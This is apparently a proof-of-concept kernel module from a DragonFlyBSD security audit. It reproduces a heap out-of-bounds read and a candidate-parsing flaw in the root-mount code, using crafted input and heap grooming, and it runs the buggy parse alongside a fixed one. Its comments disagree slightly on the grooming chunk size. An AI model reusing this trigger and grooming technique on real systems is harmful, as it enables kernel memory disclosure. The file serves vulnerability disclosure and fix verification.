DragonFlyBSD Kernel Audit
DF-2862 / replica.c
← back to finding ↓ download raw
/*
 * DF-2862 / DF-2863 replica module
 *
 * Replicates, verbatim, the root-mount candidate parse from
 * sys/kern/vfs_conf.c:vfs_mountroot_try() (lines 417-465) and drives it
 * with attacker-shaped input, using the kernel's OWN ksscanf(), ksprintf(),
 * kmalloc()/kfree() and the real M_MOUNT malloc type, at runtime.
 *
 * Experiments (all output prefixed "dfrep:"):
 *   A1  BUGGY  parse of "ufs:da0s1a;ufs:da1s1a"     -> DF-2863 (candidate
 *        contamination: devname of candidate 1 swallows the ';'-tail)
 *   A2  FIXED  parse of the same string             -> clean per-candidate
 *   B1  BUGGY  parse of "ufs:" + 300 spaces + "E"   -> DF-2862 (heap OOB
 *        read: strncpy fills all 96 bytes of mf with no NUL; ksscanf's
 *        strlen() and the %80s whitespace-skip walk past the 96-byte
 *        allocation and copy out-of-bounds heap bytes into devname)
 *   B2  FIXED  parse of the same string             -> parse terminates at
 *        the 95-byte bound; devname empty; no out-of-bounds bytes
 *
 * Heap grooming for B1/B2: two 128-byte M_MOUNT chunks (same slab chunk
 * class as the 80-byte devname and 96-byte mf requests) are filled with
 * 'Q', freed, and then handed back to the parse's own allocations, so the
 * bytes immediately past mf's 96-byte allocation are deterministic ('Q').
 *
 * NOTE: the BUGGY variant also reproduces the known DF-0099 width/NUL
 * write off-by-one on devname; that finding is NOT re-reported here.
 */
#include <sys/param.h>
#include <sys/kernel.h>
#include <sys/systm.h>
#include <sys/module.h>
#include <sys/mount.h>
#include <sys/malloc.h>
#include <sys/libkern.h>

static char biginput[512];

/* exactly vfs_conf.c:419-431 (BUGGY) or the segment-bounded fix (FIXED) */
static int
parse_replica(const char *mountfrom, int fixed)
{
	char		*vfsname, *devname;
	char		patt[32];
	const char	*cp, *ep;
	char		*mf;
	int		n = 0;

	cp = mountfrom;
	vfsname = kmalloc(MFSNAMELEN, M_MOUNT, M_WAITOK);
	devname = kmalloc(MNAMELEN, M_MOUNT, M_WAITOK);
	mf = kmalloc(MFSNAMELEN + MNAMELEN, M_MOUNT, M_WAITOK);
	for (;;) {
		for (ep = cp; (*ep != 0) && (*ep != ';'); ep++)
			;
		bzero(vfsname, MFSNAMELEN);
		bzero(devname, MNAMELEN);
		bzero(mf, MFSNAMELEN + MNAMELEN);
		if (fixed) {
			size_t seglen = (size_t)(ep - cp);

			if (seglen >= MFSNAMELEN + MNAMELEN)
				seglen = MFSNAMELEN + MNAMELEN - 1;
			bcopy(cp, mf, seglen);
		} else {
			strncpy(mf, cp, MFSNAMELEN + MNAMELEN);
		}

		vfsname[0] = devname[0] = 0;
		ksprintf(patt, "%%%d[a-z0-9]:%%%ds", MFSNAMELEN, MNAMELEN);
		if (ksscanf(mf, patt, vfsname, devname) < 1)
			goto end;

		kprintf("dfrep:   -> cand %d: vfsname='%s' devname='%s' "
			"(len=%zd) [vfsname=%p devname=%p mf=%p]\n",
			++n, vfsname, devname, strlen(devname),
			vfsname, devname, mf);
end:
		if (*ep == 0)
			break;
		cp = ep + 1;
	}

	kfree(vfsname, M_MOUNT);
	kfree(devname, M_MOUNT);
	kfree(mf, M_MOUNT);
	return (0);
}

static void
seed_chunk_pool(void)
{
	void *v[200];
	int i;

	/*
	 * Class-96 chunks (kmalloc(96) rounds to 96, chunks are packed
	 * back-to-back in the zone).  Fill a run of them with 'Q', free
	 * every even-indexed one, keep every odd-indexed one allocated
	 * and 'Q'-filled -- so the chunk physically following the
	 * most-recently-freed chunk (which the parse's mf allocation,
	 * the only class-96 allocation in the parse, will take) is a
	 * live 'Q'-filled chunk: the byte at mf[96] is 'Q' by
	 * construction.
	 */
	for (i = 0; i < 200; i++) {
		v[i] = kmalloc(96, M_MOUNT, M_WAITOK);
		memset(v[i], 'Q', 96);
	}
	for (i = 0; i < 200; i += 2)
		kfree(v[i], M_MOUNT);
}

/*
 * Drive the stock parse with the 96-byte-unterminated input.  Returns the
 * devname the kernel's own ksscanf produced.
 */
static void
oob_once(char *out, size_t outlen, const char *tag)
{
	char *vfsname = kmalloc(MFSNAMELEN, M_MOUNT, M_WAITOK);
	char *devname = kmalloc(MNAMELEN, M_MOUNT, M_WAITOK);
	char *mf = kmalloc(MFSNAMELEN + MNAMELEN, M_MOUNT, M_WAITOK);
	char patt[32];
	const char *cp, *ep;

	ep = biginput;
	cp = biginput;
	bzero(vfsname, MFSNAMELEN);
	bzero(devname, MNAMELEN);
	bzero(mf, MFSNAMELEN + MNAMELEN);
	strncpy(mf, cp, MFSNAMELEN + MNAMELEN);		/* vfs_conf.c:427 */
	vfsname[0] = devname[0] = 0;
	ksprintf(patt, "%%%d[a-z0-9]:%%%ds", MFSNAMELEN, MNAMELEN);
	ksscanf(mf, patt, vfsname, devname);
	ksnprintf(out, outlen, "%s", devname);
	kprintf("dfrep:   %s: mf=%p first96_nonzero=%d devname[0]=%02x "
		"devname='%.24s'\n",
		tag, mf, strnlen(mf, 96) == 96, (unsigned char)devname[0],
		devname);
	kfree(vfsname, M_MOUNT);
	kfree(devname, M_MOUNT);
	kfree(mf, M_MOUNT);
}

static int
dfrep_modevent(module_t mod __unused, int type, void *data __unused)
{
	char res[128];
	int i, attempt;

	switch (type) {
	case MOD_LOAD:
		/* build "ufs:" + 300 spaces + "E" (NUL-terminated kernel str) */
		bzero(biginput, sizeof(biginput));
		bcopy("ufs:", biginput, 4);
		for (i = 4; i < 304; i++)
			biginput[i] = ' ';
		biginput[304] = 'E';

		kprintf("dfrep: A1 BUGGY candidate list 'ufs:da0s1a;ufs:da1s1a'\n");
		parse_replica("ufs:da0s1a;ufs:da1s1a", 0);

		kprintf("dfrep: A2 FIXED candidate list\n");
		parse_replica("ufs:da0s1a;ufs:da1s1a", 1);

		/*
		 * B1: stock parse, unterminated 96-byte mf.  If any byte at
		 * mf[96..] is non-zero/non-space, ksscanf copies it into
		 * devname -> visible OOB-read primitive.  Seed the 128-byte
		 * chunk class heavily with 'Q' and retry so the parse's own
		 * allocations land on seeded chunks.
		 */
		kprintf("dfrep: B1 BUGGY unterminated mf, seeded, x16 attempts\n");
		res[0] = 0;
		for (attempt = 1; attempt <= 16; attempt++) {
			if ((attempt - 1) % 4 == 0)
				seed_chunk_pool();
			oob_once(res, sizeof(res), "B1-try");
			if ((unsigned char)res[0] != 0)
				break;
		}
		if ((unsigned char)res[0] == 'Q') {
			kprintf("dfrep: B1 RESULT: OOB heap bytes copied into "
				"devname ('%c' marker seen) -> DF-2862 "
				"REPRODUCED\n", res[0]);
		} else if ((unsigned char)res[0] == 0) {
			kprintf("dfrep: B1 RESULT: devname empty: strlen walked "
				"past the 96 non-NUL in-bounds bytes and "
				"stopped on mf[96]==0 -> OOB read occurred, "
				"adjacent byte was NUL this run\n");
		} else {
			kprintf("dfrep: B1 RESULT: devname='%s' (non-Q "
				"adjacent heap content) -> OOB read REPRODUCED "
				"with resident heap bytes\n", res);
		}

		/*
		 * B2: fixed parse (segment-bounded copy).  mf is always
		 * NUL-terminated at mf[95]; no byte past the allocation is
		 * ever consulted.
		 */
		kprintf("dfrep: B2 FIXED parse\n");
		parse_replica(biginput, 1);

		kprintf("dfrep: done\n");
		return (0);
	case MOD_UNLOAD:
		return (0);
	default:
		return (EOPNOTSUPP);
	}
}

static moduledata_t dfrep_mod = {
	"dfrep",
	dfrep_modevent,
	NULL
};

DECLARE_MODULE(dfrep, dfrep_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE);
MODULE_VERSION(dfrep, 1);